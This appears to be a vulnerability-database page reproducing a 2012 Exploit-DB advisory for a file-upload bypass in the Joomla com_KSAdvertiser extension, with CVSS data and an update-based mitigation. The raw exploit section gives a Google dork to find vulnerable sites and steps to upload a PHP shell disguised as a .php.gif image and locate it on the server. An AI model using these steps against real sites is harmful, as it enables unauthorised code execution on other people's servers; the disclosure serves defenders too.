Joomla com_KSAdvertiser Remote File & Bypass Upload Vulnerability

vendor:

Joomla

by:

Daniel Barragan "D4NB4R"

9,3

CVSS

HIGH

Remote File & Bypass Upload Vulnerability

434

CWE

Product Name: Joomla

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: Yes

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Linux, Windows

2012

Joomla com_KSAdvertiser Remote File & Bypass Upload Vulnerability

A vulnerability in Joomla's com_KSAdvertiser component allows an attacker to upload a malicious file and bypass the file extension check. This can be exploited to upload a malicious file such as a PHP shell, which can then be used to execute arbitrary code on the vulnerable system.

Mitigation:

Update to the latest version of Joomla and the com_KSAdvertiser component.

Source

Exploit-DB raw data:

############################################################################
# 
# Exploit Title: Joomla com_KSAdvertiser Remote File & Bypass Upload Vulnerability 
#
# Google Dork: inurl:index.php?option=com_ksadvertiser
#
# Date: [12-07-2012]
#
# Author: Daniel Barragan "D4NB4R"
#
# Twitter: @D4NB4R
#
# site: http://www.insecurityperu.org/
#
# vendor Link: http://www.kiss-software.de
# 
# Tested on: [Linux(arch)-Windows(7ultimate)]
#

1.  Some pages require the Register
    Registrese Algunas Paginas lo exigen
   
   http://site/index.php?option=com_user&view=login


2.  Go to the upload path
    Dirijase a la ruta del upload 

   
   http://site/index.php?option=com_ksadvertiser&Itemid=36&task=add&catid=0&lang=en


3.  Go to images and give click to upload, browse your file shell.php, and rename it to shell.php.gif
    Vaya a imagenes y dele click a upload, examine su archivo shell.php y renombrelo a shell.php.gif 

4.  Locate your file in the root / images/ksadvertiser/U0 -> this may vary
    Busque su archivo en la raiz /images/ksadvertiser/U0 --> esta puede variar
 
    http://site/images/ksadvertiser/U0/403.php.gif

 
Im not responsible for which is given
No me hago responsable del uso que se le de
_______________________________________________________________________________________
Daniel Barragan "D4NB4R"

Site:  http://www.exploit-db.com // http://packetstormsecurity.org // http://1337day.com/